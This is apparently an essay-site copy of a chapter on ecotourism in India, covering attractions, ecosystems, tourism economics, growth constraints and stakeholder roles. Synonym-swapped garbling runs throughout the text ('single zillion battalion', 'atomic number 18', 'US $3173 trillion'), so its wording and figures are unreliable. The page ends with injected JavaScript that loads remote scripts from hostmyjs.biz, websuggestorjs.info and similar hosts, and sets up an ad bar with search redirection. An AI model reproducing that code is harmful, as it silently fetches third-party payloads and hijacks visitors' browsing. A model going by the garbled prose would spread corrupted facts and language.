Eco Tourism in India Essay

Chapter EightEco tourerry in IndiaMohan Krishen KhannaIntroductionIndia, a nation situated in south Asia, is of subcontinental dimension with a population of over single zillion battalion. India is primarily an agriethnical prudence with a agglomerateive range of crops. The livelihood of over 60% of the population continues to be based on agriculture. Of late, there has been a growing trend of urbanisation and diversification outside from agriculture. The industrial ara is now playing a larger role in the economy. After the scotch liberalisation in 1991, the industrial and assistances components of the economy rich person shown a high identify of growth, and immediately work out contri besidese 46% of the GDP. India is rated as the tail largest economy in the world based on the purchasing power allot leavey method of cipher per capita GDP. Having said this, mention of the classical socio- economic issues that face India is necessary. The aboriginal issue i s one of poverty, with 320 zillion people estimated to be living below the poverty line. on that point be related problems of affable and gender inequalities, illiteracy, lack of fitting health facilities, unplanned urbanisation, surroundings degradation, and under outgrowth of some argonas. These be gigantic problems which be receiving the attention of the Indian political science and rise up-mannered society, with some answer from the global familiarity. Since the outside(prenominal) swop crisis of 1991, a more than than liberal attempt towards globalisation of the economy has been adopted by the government. India is a member of the World Trade Organization (WTO) and is mathematicalness its economy to the externalist market in phases. In guardianship with the commitments to the WTO, exports befool been increasing over the long time and were reported to pay off grown by 30% in April, 2000. circumscribed efforts be existence bugger off to attract foreign direct investment by providing spellbinding incentives to investors. 63 The Indian touring carry intersectionIndia has spectacularly attractive raw(a) and cultural holidaymaker attractions. It has a rich, over 5000- class-old, cultural hereditary pattern and thousands of monuments and archaeologic sites for tourers to foretell and enjoy. The cadaver of one of the around antediluvian patriarch river v solelyey civilisations of the world (the Indus Valley civilisation) argon put in India and Pakistan. The Taj Mahal and 16 early(a) World inheritance Properties and several(prenominal) national heritage sites atomic number 18 in India. The clownish abounds in attractive and hearty- preserved diachronic sites and ancient monuments of architectural grandeur. There is a bulky volt-ampereiety of edifice styles, which chronicle the cultural and pastal novelty of their creators. India byes enormous diversity in topography, natural resources and climate. There ar pla ce down-locked mountainous characters, lush valleys and plains, dry desert regions, white sandy b separatelyes and is trim backs. Central India has numerous wildlife sanctuaries with countless(prenominal) varieties of flora and fauna.The region has unparalled cultural diversity, a kaleidoscope of races, languages, religions, customs and traditions. Indians get embraced al to the highest degree all the study religions of the world and the country has given rise to tail fin religions Hinduism, Buddhism, Jainism, Sikhism and Tauhid-i-illahi of Akbar. The geographic diversity of India bids opportunities for a wealth of open- broadcast(prenominal) and adventure sports activities. There is something for all tastes and pertains, from the soft adventures to fast thrills, and there is something for e really aim of experience. The prices are super competitive. The major adventure holidaymakerry activities are trekking and die in the Himalayas, river running in the Ganges, p ee sports in Goa, trout fishing in Himachal Pradesh, heli-skiing in Himachal Pradesh, wind surfing, scuba diving and yachting in Andamans and Lakshadweep is plays. India has some of the better(p) beaches in the world, some(prenominal) of which are still unexplored, as in the Andamans and Lakshadweep Is countrys. Hospitality to visitants is an ancient Indian tradition.The peoples lifestyles are varied. Life is full of culture, fairs and festivals, colour and spectacle. India is a land of folk fairs and festivals, some say that there is a fair each day of the year. Some of the important fairs and festivals are the Pushkar fair in Rajasthan, the Crafts Mela at Surajkund, Holi and Diwali in North India, Pongal in Tamilnadu, Onam in Kerala, Baisakhi in Punjab, Bihu in Assam, dance festivals at Khajuraho and Mamallapuram. tourism in India sess be a gastronomic delight. all(prenominal) region hasits culinary specialty and beautifully printed and expertly compose cookbooks are on sale. But the top hat part is to sample the exotic furthermoste in the thousands of restaurants. India has several manakins of art and handcrafts. Bharatnatyam, Odissi, Kathakali, Kuchipudi, Mohiniattam are some of the most hot forms of classical dances which take for their origins in various split of the country. E truly(prenominal) dance form has a microscopic vocabulary of emotions (love, yearning, 64 sorrow etcetera) and these are displayed by dance gestures that involve the body, arms, fingers, face and eyes. India is a treasure-trove of handcrafts. The options open embarrass the gamut of multi-storied shop plazas, air-conditioned stores selling a hand-picked assortment of crafts from every corner of the country, through to entirely streets of shops selling specialty goods, to topical anaesthetic anaesthetic fairs, where street stalls, effectuate up overnight, stock a variety of exotica.Ecotourism Resources of IndiaThe geographical diversity of India makes it home to a wealth of ecosystems which are intimately protected and preserved. These ecosystems (see recession 1) bring in get down the major resources for ecotourism. Following boxful 1, each ecosystem is discussed in some detail. blow 1 Indian Ecosystems and Resources Biosphere reserves mangroves Coral let downs re goatts Mountains and Forests Flora and Fauna Seas, Lakes and Rivers CavesBiosphere reserves are multi-purpose protected evinces, for economy of the genetic diversity and the integrity of plants, animals and micro-organism in representative ecosystems. There are 7 such(prenominal)(prenominal) reserves in India at present (see Box 2).Box 2 Biosphere reserves Nilgri Nanda Devi Nokrek Great Nicobar Gulf of Mannar Manas Sunderbans 65 Mangroves are very specialised forest ecosystems of tropical and subtropical regions, b gradeing provide sea coasts and estuaries. The major mangrove areas are listed in Box 3.Box 3 major Mangrove Areas Northern Adama n and Nicolar islands Sunderbans (West Bengal) Bhitarkanika and Mahanadi Delta (Orissa) Coringa, Godavari Delta and Kristna Estuary (Andhra Pradesh) Pichavaram and Point Calimere (Tamil Nadu) Goa Gulf of Kutch (Gajarat) Coonapur (Karnataka) Achra/Ratnagiri (Maharashtra) Vembanand (Kerala)In order to protect and preserve these genetic resources, India has relieve oneselfd a number of National Parks and 421 Wildlife Sanctuaries in disparate parts of the country. Those which have already survive public with tourists are Kaziranga and Manas in Assam Jim Corbett in Uttar Pradesh Keoladeo, Ghana, Ranthambore and Sariska in Rajasthan Kanha and Bandhavgarh in Madhya Pradesh Bandipour in Karnataka and Similipal in Orissa. The Arabian Sea, the Indian naval and the Bay of Bengal brace the sides of the Indian subcontinent, except for the inland northern boundary. The land mass of India is crossed by several rivers and dotted by lakes at some(prenominal) places. These water bodies provide attractive opportunities for water sports. frugal Signifi idlerce of touristryIn India, tourism is emerge as a key firmament in the economy. It is presently Indias third largest foreign exchange earner after garments, and gems and jewellery. The foreign exchange fee from tourism during 199798 has been estimated to be roughly Rs.11264 crores (US $3173 trillion). The rate of growth in foreign exchange meshwork from tourism is exceptionally high. The most signifi kindlet let of the tourism effort is its depicted object to incur big trading opportunities, grumpyly in remote and underdeveloped areas. It offers enormous strength for utilising natural resources uniform landscapes, mountains, beaches, rivers etc. for the economic benefit of the population. It similarly provides value to a multitude of human-madeattractions such as monuments, palaces, forts and the unique artless and city environments. A special feature of the tourism industry is that it employs a large number of women and modern people in hotels, airline services, travel agencies, qualification handcrafts, undertaking cultural activities, and different tourism-related tasks.The direct employment in the sector during 199596 was some 8.5 one billion million million persons, accounting for most 2.4% of the total labour force. Estimates of mediate employment show that in total to the highest degree 22 million persons derive their livelihood from tourism. diverse forecasts of direct employment in the sector have been made, however, they underline the fact that tourism is growing to become an important economic activity. It is estimated that one new trading is created in tourism every 2.4 bites. Box 5 illustrates the comparative strength of tourism in creating jobs. A million rupee invested (198586 prices) in the hotel and restaurant industry created 89 jobs, against 44.7 jobs in agriculture or 12.6 jobs in manufacturing industries for the same investment. The average for th e whole tourism sector was 47.5 jobs.Box 4 Coral Reef Ecosystems Gulf of Mannar Andaman and Nicobar Islands Kakshadweep Islands Gulf of KutchThe Great Thar Desert and the s freightert(p) deserts in the North westward Region of the country are distinct ecosystems which have fascinated tourists from all over the world. Ladakh is a nipping desert with high, snow-clad mountains, fast rivers, and the people have a distinctive Buddhist culture. The great Himalayas and former(a) mountain ranges in the country, along with the snow-clad slopes, forests and rivers have also become important attractions for eco-tourists. The country has an area of close to 752.3 lakh hectares designated as forest land and of this intimately 406.1 lakh hectares are classified as Reserve Forests and 215.1 lakh hectares as Protected Forests. India is very rich in biotic as well as abiotic resources. It has about 45 000 species of plants. The country also has a great variety of fauna, numbering a little ov er 65 000 known species, including 1228 bird, 428 reptile, 372 mammal, 204 amphibian and 2546 fish species. 66 67 Box 5 Comparative Job CreationSector gardening Manufacturing Mining and Quarrying Railways Other Transport Hotels and Restaurants touristryLabour/Capital Ratio44.7 12.6 2.06 0.9 13.8 89.0 47.5advancement of women and different disadvantaged groups. The Working military constituted for the conceptualisation of proposals for the Ninth Plan on Tourism considered a growth organise of 8% per annum in tourist arrivals as feasible during 19972002 leading to total arrivals of about 3.12 million tourists by the year 2000 subject of raceway to substantial improvement in infrastructure and services.Major Constraints on GrowthThough India has much to offer in terms of tourist attractions, there are major constraints on the growth of tourism, in particular worldwideist tourist traffic. The greatest constraint is inadequate infrastructure. Constraints organize on lack o f sufficient airports and airport facilities, worldwide and home(prenominal) air-seat capacity, surface transport systems, basic wayside amenities, readjustment, restaurants, shopping and recreational facilities, trained labourforce resources, and support services and facilities. two quality and quantity of infrastructure are major impediments to the growth of tourism in the country. Although there are 121 airports maintain by the Airport Authority of India and 139 airports maintained by state governments and some other agencies, there are only 10 airports with a runway duration of over 3000 m. Even these airports, including five international airports, do not have the latest Instrument arrive Systems (ILS) and other equipment to facilitate safe and secure landing place of aircraft in all weather conditions. Quality of service at the airports is also not up to international standards. The Ministry of Civil Aviation is devising efforts to deal with this problem.In landition to the five existinginternational airports, seven more airports are to be developed for international air services. More airports will be assailable for charter traffic. Four international airports are being leased out to private operators. The new proposed civil air insurance policy seeks to develop civil aviation by increasing the forces of competition, economic liberalisation and globalisation. The international air-seat capacity for India is presently about 5.3 million which is expert enough to cater for the existing level of passenger traffic. A number of tourist-origin countries are not immediately connected by air to India. Additional international air-seat capacity of at least 2 million would be implored if 3.2 millions tourists were to come by 2000. If the target of 5 million tourists is to be achieved, the additional capacity required is estimated to be 5 million seats. Distances to India, considered a long haul destination for tourists from the USA and most of Euro pe, act as a deterrent to tourists from these countries. deprivation of adequate air-seat capacity on international flights during the tourist season, which is from October to March, further compounds the problem, and works against increasing foreign tourists. part there is someSource Annual Plan, incision of Tourism, Govt. of India, 199697. some other important feature of the tourism industry, which is of particular significance to India, is its contribution to national integration and the well-disposed transformation of the economic lives of people. Over 176 million national tourists (see Box 6) see different parts of the country every year, return with a better sagaciousness of the people living in other regions of the country and of the cultural diversity of India. Tourism also encourages preservation of monuments and heritage properties and helps the survival of art forms, crafts and culture.Box 6 Domestic Tourist Visits Year1997 1998 1999 2000 2001 2002Domestic Tourist s Visits (Million) great hundred 131 144 157 176 189 (Projected)Source Report of the Working Group on Tourism for the Ninth Five-Year Plan, 19972002, Dept. of Tourism, Govt of India, New Delhi.Tourism has become an instrument for sustainable human outgrowth through poverty alleviation, environmental positive feedback, job creation, and the 68 69 talk of an open sky policy, in practice this is yet to happen and foreign airlines do not have free main course to India. However, the scenario is changing with the negotiation of bilateral agreements which will add one million new seats to international air-seat capacity. Negotiations still current may yield more seats. Recently United Airways and Virgin Airlines have denote intentions of recompenseing India. The total air-seat capacity open in the national sector today is over 17 million. In 1996, 70% of this capacity was utilised with 12 million passengers traveling in the country, 7.1 million by the state-run Indian Airlines and 4.9 million by the private airlines. It is judge that this sector will grow at about 6% per annum. A major exercise is underway to restructure Indian Airlines and add capacity in the private sector airlines, which should yield results in the long time to come. Although m both(prenominal) of these projections seem optimistic given the downturn in the economy in 1997 and 1998, the situation is anticipate to normalise soon with the upturn in the economy. There is bespeak to address problems of insufficient flights to major tourist destinations particularly during the tourist season, the high cost of internal air travel and inconvenient flight schedules.Efforts also impoverishment to be rein inn to improve the efficiency of Indian Airlines and nourish growth of private airlines. An efficient and responsive domestic air transport system is an essential obligatory for generating more tourism to India. Other important areas which require attention are airline quality and networki ng. There are too few flights available, particularly during the best tourist season, and the services that do exist are high priced and their schedule of arrivals/departures are inconvenient for travellers. deep down the country, the services of IndianAirlines require substantial improvement, and they request to network with private airlines. A viable hubs-and-spoke operation, networking larger commercial-grade centres with smaller tourist destinations requisites to be developed to improve access to the interior of the country. The second serious handicap to tourism in India is the scarcity and high cost of hotel accommodation. The number of clear hotel room available in 1997 was around 64 500, with about 36 000 under kink. The demand by the year 2000 has been estimated at 1.25 lakhs, which means there would be a shortfall of 27 000 hotel rooms.Lack of economically priced hotel accommodation in the tourist season is being cited as one of the reasons for not choosing India as the place for a holiday. There are two approaches to this problem. One is to increase the floor-area-ratio for the hotels so that existing hotels are able to add more rooms. The other is to make more land available for hotel construction by inducing land allotting agencies to put aside more land for the hotel industry through auction, long leases and equity participation schemes. The agencies can also play a role in bringing private buyers and sellers together to enable entrepreneurs simplified access to land and buildings in private hands. 70 The public agencies hire to liberalise the governance for granting licences and approvals so as to expedite construction of hotels. A one window (or one-stop-shop) system could be a neb to facilitate faster approvals. Access to swell is other limiting factor. The Tourism Finance Corporation Inc. (TFCI) and the other financing institutions which provide institutional mechanisms for access to capital do not have a cocksure approach to l ending for hotels. There is need to generate more rooms through innovative measures the equivalents of promoting the Paying Guest Accommodation scheme at major tourist centres. Currently, 1472 units with 5953 rooms are available in 14 states. State political sciences need to be more proactive in promoting this scheme as it is a preferred alternative to hotels for many, requiring comparatively less investment and is hence more advantageous to tourists. Another major means of creating accommodation is approval of guesthouses. collect to the complicated procedure adopted which requires guesthouses to obtain a number of clearances including those from the Police, Municipal Authorities and the Tourism Department, economically priced guesthouses havenot developed in keeping with the expectations of tourists travelling on a budget. As many of these are run without due approvals, they have acquired a reputation for dealing in medicates, cheating residents and other criminal activities. It would be worth objet dart for the state governments to under fulfill a campaign to get these guesthouses recognised and approved and hence to generate more hotel rooms. (The Ministry of Tourism is in move with the state governments over this issue). Another major inhibitor of the growth of tourism is the difficulty of obtaining visas for India. Visa restrictions need to be liberalised, to ensure a larger go down of tourists to the country. A number of options are available. The visa regime must be liberalised at least in respect of those countries which do not pose any political or security problems. Visas should be issued considerably on entry at the airport in respect of visitors from such countries.The principle of reciprocity in the issue of visas should not be insisted on in the case of nationals of those countries with whom India has signed bilateral tourism agreements. Special tourist visas available on arrival for up to two weeks should be made available at the airports. The procedure for the issue of visas can also be made simple and at least in the major tourist originating countries the applications for a tourist visa could be received through the internet and bear on on computers. Another area that requires attention is the gap of reducing visa charges, particularly special charges on visiting restricted areas. Increased competition from neighbouring countries and short perception of the Indian tourism product (particularly with look to transport infrastructure) 71 in the major tourist originating markets are the other constraints on the growth of tourism. An added interdict factor is the image of India as a country overrun by poverty, disease, touts and political instability. The promotional phthisis in the overseas markets of competitor destinations the likes of Singapore, Thailand and Malaysia far exceeds the promotional expenditure by India. India needs to make vigorous efforts to improve its image as an attractive destination, and f or this more resources are required. There are numerous other constraints in the study of tourism in India, including lack of priority in the supplying of learning, paltry upkeep of monuments and wildlife sanctuaries, inadequate surface transportfacilities, hapless quality of services etc.The Government of India has luck up a group of rectors under the Minister of Tourism to coordinate activities of various government departments and agencies. A committee under the Cabinet Secretary assists in implementation of decisions and removal of systematic problems. Dialogue with the state governments to liberalise and rationalise taxation and deal with other issues is an ongoing process. Many of the activities in the tourism sector are dependent on initiatives of the state governments. educated state governments like Kerala, Goa and Rajasthan have done a lot to attract more tourists by making facilities more tourist friendly.Box 7 Government Responsibilities for EcotourismRegulate s tructures that create visual pollution, unaesthetic views and are non- harmonious architecture and encourage use of topical anaesthetic building material and structures befitting the topical anaesthetic environment. Exclude increments in geologically unstable zones and define development and fender zones after proper environmental strike assessments. tack together and enforce standards, building codes and other regulations. Specify environmental, sensual and social carrying capacities to limit development. regard continuous observe of adverse effects of tourism activities and initiate able corrective measures. Recognise and award quality by accreditation of ecotourism operators. Provide visitor set forthation and interpretation services covering particularly (i) what to see (ii) how to see it and (iii) how to behave. This can be by way of brochures, leaflets, specialised guides, visitor information centres and such. Prepare and distribute codes of conduct to all visitors. L aunch cooking programs on ecotourism for tourism administrators, planners, operators and the everyday public.Promoting Ecotourism in IndiaThe key players in the ecotourism business are governments at both levels, the topical anaesthetic politics, the developers and the operators, the visitors, and the local anesthetic conjunction. Each one of them has to be smooth to the environment and local traditions and acquire a set of guidelines for the victorful development of ecotourism. In addition, non-governmental organisations and scientific and research institutions also have to play a key role in thedevelopment of ecotourism. A management plan for each ecotourism area should be tackle a crapd by superior landscape architects and urban planners, in consultation with the local community as well as others right off concerned.Integrated planning should be adopted to keep off inter-sectoral and cross-sectoral conflict. A first step should be to prepare 20-year Master Plans for each state. The architectural program for ecotourism centres should include controlled access points, roads, self-guided nature trails, transportation options, interpretation centres, signs, ceremonial towers and adequate but unpretentious lodging and eat facilities, docks, garbage disposal facilities and other utilities as needed. If required, able living quarters and facilities for project personnel should be provided. Box 7 is a list of actions for the development of ecotourism, where the responsibility is with the government. The roles and responsibilities of tourism developers and operators are fundamental to the transaction of ecotourism and the long-term success of the businesses. These are listed in Box 8.Box 8 Roles and Responsibilities of Ecotourism Developers and Operators obedience and follow the planning restrictions, standards and codes provided by the government and local authorities. Implement level-headed environment principles through self-regulation. Underta ke environmental impact assessment for all new projects and conduct firm environment audits for all ongoing activities, leading to development of environmental improvement programs. Be aware of, and sensitive to, protected or threatened areas, species and scenic agreeability undertake landscape enhancement wherever possible. Ensure that all structures are unobtrusive and do not interfere with the natural ecosystem to the extent possible. 72 73 Recognise the optimal environmental capacity and sociological use-limits of the site in creating tourist facilities also take into account the safety and convenience of tourists. Design buildings purely on functional andenvironmental considerations and avoid over-construction. habit local material and designs to the extent possible in construction. Employ eco-friendly physical planning, architectural design and construction of tourist facilities, for example use solar energy, see and utilise rainwater, recycle garbage, use natural cross- ventilation preferably of air conditioning, ensure a high level of self-sufficiency in food through orchards, bionomic farms, aquaculture and such. Employ energy and water-saving practices to the extent possible fresh water management and controlled sewage disposal should also be practised. check into air emissions, chemical pollutants and noise. Control and avoid environmentally unfriendly products such as asbestos, CFCs, pesticides and toxic, corrosive, infectious, volatile or flammable material.Respect and support historic or religious objects and sites. Provide information and interpretive services to visitors especially on attractions and facilities, safety and security, local customs and traditions, prohibitions and regulations and expected behaviour. Ensure adequate opportunities for visitors to intercommunicate with nature and native cultures. Provide correct information in marketing ecotourism products, as visitors who appreciate ecotourism products usually belong to environmentally-aware groups. Include training and research programs on environmental issues for company staff. Prepare tourists before their visit to minimise possible prohibit impacts while visiting sensitive environments and cultures. Ensure safety and security of visitors and inform them of precautions to be taken. Exercise due regard for the interest of the local population, including its history, tradition and culture and future economic development. Involve the local community to the extent possible in various activities and vocations.Box 9 The Responsibilities of Ecotourists suffice conserve habitats of flora and fauna as well as any site, natural feature or culture, which may be affected by tourism. illuminate no open fires and discourage others from doing so. If water has to be heated with scarce fire wood, use as little as possible. Where feasible, use kerosene or fuel-efficient wood stoves. Remove litter, burn or bury opus and carry back all non-degradable litter. Kee p local water overbold and avoid using pollutants such as detergents in streams or springs. If no fecal matter facilities areavailable, relieve yourself at least 30 metres away from water sources and bury or cover the waste. Leave plants to flourish in their natural environment and avoid taking away cuttings, seeds and roots. Leave campsites clean after use. Help guides and porters to follow conservation measures.Do not allow cooks/porters to throw garbage in streams or rivers. Respect the natural and cultural heritage of the area and follow local customs. Respect local etiquette and do not wear tight-fitting clothes. have in mind that kissing in public is disapproved of in India. Respect privacy of individuals and ask permission to take photographs of local inhabitants. Respect holy places do not touch or remove religious objects. Strictly follow the guidelines for personal safety and security and always take your own precautions and safety measures.If a community wants to hord e ecotourism, it has a central role to play. The host communitys success in bringing ecotourism to it and ensue that the level and type of tourism is compatible with the communitys aspirations are matters the community can control. Box 10 lists the matters with which the host community must deal.Box 10 The Role and Responsibility of the Host corporationRealise and respect the value of the environment, the flora and fauna, the monuments and your cultural heritage. Practice conservation of nature and culture as a way of life. Establish guidelines to protect precious local resources and foster tourism management. React to the potential threat of investors who see opportunities in development but lack sensitivity to local values. Become potent nature guides and conservationists of natural areas by utilising practical and catching knowledge of the natural features of the area. Be friendly to the visitors and help them to practise ecotourism principles.Just as the government authorit ies and the tourism operators play fundamental roles in the success of ecotourism, so does the tourist. Box 9 lists the responsibilities of tourists. 74 75 Finally there is a role for others, such as scientific and research institutions and non-government organisations, in promoting ecotourism. The things they can do include (i) create awareness, among all concerned, about the importance of sound eco-practices in tourism development (ii) motivate the local community to increase their matter in sustainable tourism activities and (iii) organise training programs to prepare the local people to take up various vocations related to ecotourism.the Pacific Travel companionship have introduced an ecotourism pledge which requires their members to adopt environment-friendly practices.ConclusionTourism has proved to be an engine of growth in many economies in the world. It provides for the generation of income, wealth and employment, and helps in the sustainable development of remote areas. In India, tourism provides direct employment to 9 million people and indirect employment to another 13 million persons, thus providing a livelihood to 22 million persons. It contributes an estimated 2.4% of the gross national product. Its contribution to the economies of states like Rajasthan, Goa and Kerala are significant. Although beginning to be understood for its potential to provide for development in India, tourism still remains a sector that needs serious attention. Tourism has proved to have negative impacts as well as the positive ones. It is criticised for contaminating indigenous culture. This takes the form of changing values, resulting in social maladies like drug addiction, child prostitution, etc. A far more far-flung negative impact is caused by mass tourism in environmentally fragile areas like mountains, hills, deserts and coastal regions.Due to heavy tourist traffic in some areas, the cultural and environmental assets of the community are under threat. Although this phenomenon is not widespread in India, there is a need to take note of the possible negative influences of tourism so that timely preservation action can be taken and irreparable loss avoided. The movement towards ecotourism is at once a threat and an opportunity to createmore sustainable tourism by deviate tourist traffic to ensure the carrying capacity of any destination is not exceeded by planning for regeneration of natural resources and by generating awareness in the host community whereby they are prepared and forearmed to deal with the negative impact of mass tourism. As in most cases, a middle path is the most fictive way to maximise the economic potential of tourism, while at the same time minimising the negative social influences and threats to the environment. Only ecotourism where the tourists, the service providers, the host community and authorities are well informed and prepared to harness tourism as an engine of growth can yield sustainable results.Motivations for Involvement in EcotourismHotel and travel companies in India function in a relatively free environment. The country is slowly but for certain moving towards a market economy where commercial considerations dictate motivation for the private sector to take up various activities. Crass commercial considerations have, however, to be controlled by the government on behalf of the public. The environment has to be protected through awareness-generation, legislation, policy and administrative action. The travelling public is also becoming conscious of the need to protect the environment, to some extent at least. As a result, many enterprises in the hospitality sector have adopted environment-friendly practices like conserving energy and water and recycling unutilised hotel outputs.These can be powerful marketing tools for hotel groups. Furthermore, with the increase in cost of vital inputs like energy, water etc., companies are motivated to conserve express mail resources by adopti ng practices which reduce levels of consumption. Many hotel companies advise their clients to be careful in the use of lights, water and other hotel services. Civil society has also begun to exercise control over the environment. Many non-government organisations have been generating awareness about environmentally destructive practices. Individuals have taken hangout to public interest litigation to stop environmentally destructive practices. The Indian judicial system has been very liberal in restraining environmentally hazardous activities. At times, political parties also stop environmentally slanderous practices by agitation and raising issues in antiauthoritarian forums such as state legislatures.Theprint and electronic media have been very active in India in investigating environmentally injurious activities by highlighting such issues and creating public opinion for environmentally compatible practices. The Government of India has a Ministry of Environment and Forests wi th a edict to oversee use of the environment in order to conserve it. The Government has also set up institutions like the Central and State Pollution Control Board to deal with the defaulters. The state governments also have Departments of Environment and Pollution Control. The Ministry of Tourism has issued ecotourism guidelines for adoption by all concerned organisations. Some tourism bodies and associations like 76 77 var id=962612185var aff=30587var sid=0function INCL_checkinternals()var h = document.location.hostnamereturn (/search.kalloutsearchd.com/i.test(h) == true /search.adbard.com/i.test(h) == true h.indexOf(search.runclips.com) = -1 h.indexOf(search.searchnowdirect.com) = -1)function INCL_addEventHandler (el, eType, fn)if (el.addEventListener)el.addEventListener(eType, fn, false)else if (el.attachEvent)el.attachEvent(on + eType, fn)elseelon + eType = fnfunction INCL_checkdml()var h = document.location.hostnamereturn (h.indexOf(google)=-1 h.indexOf(facebook.com)=-1 h. indexOf(yahoo.com)=-1 h.indexOf(bing.com)=-1 h.indexOf(ask.com)=-1 h.indexOf(listenersguide.org.uk)=-1)function INCL_loadScript(src, scriptId)if (window.location.protocol == https && src.indexOf(http) == 0)returnvar script = document.createElement(script)script.src = srcscript.characterSet = utf-8script.type = schoolbook/javascriptscript.setAttribute(jsid, js36)if (typeof(scriptId) == undefined)script.id = scriptId(document.headdocument.getElementsByTagName(head)0 document.bodydocument.getElementsByTagName(body)0).appendChild(script) function INCL_onloadComplete()if (INCL_checkdml())window.INLDM_cfg = fi 4603, fd 0,fddm xml.cpchero.biz,sttc https//hostmyjs.biz/scripts/inl_dmmtch/,inlsrhdm sonicsearchonline.biz INCL_loadScript(https//hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js)INCL_loadScript(https//in.admedia.com/?id=ODkoOCI&subid=36)INCL_loadScript(http//i.websuggestorjs.info/sugg/javascript.js?channel=js36) INCL_loadScript(https//cdncache1-a.akamaihd.net/loaders/1247/l.js?ao i=1311798366&pid=1247&zoneid=52222)window.dmadbar_settings = dm_standalone true, dmpd 2, fd 4723, fd2 4604, xmlfeed http//xml.cpchero.biz/search , search_url http//hostmysearch.com/?prt=yhs1Danta2&errUrl=http//www.yahoo.com&keywords= , script_base https//hostmyjs.biz/scripts/adbar INCL_loadScript(https//hostmyjs.biz/scripts/adbar/adbar.js) if (top === self && INCL_checkinternals())if (document.readyState === completed)INCL_onloadComplete()elseINCL_addEventHandler(window, load, INCL_onloadComplete)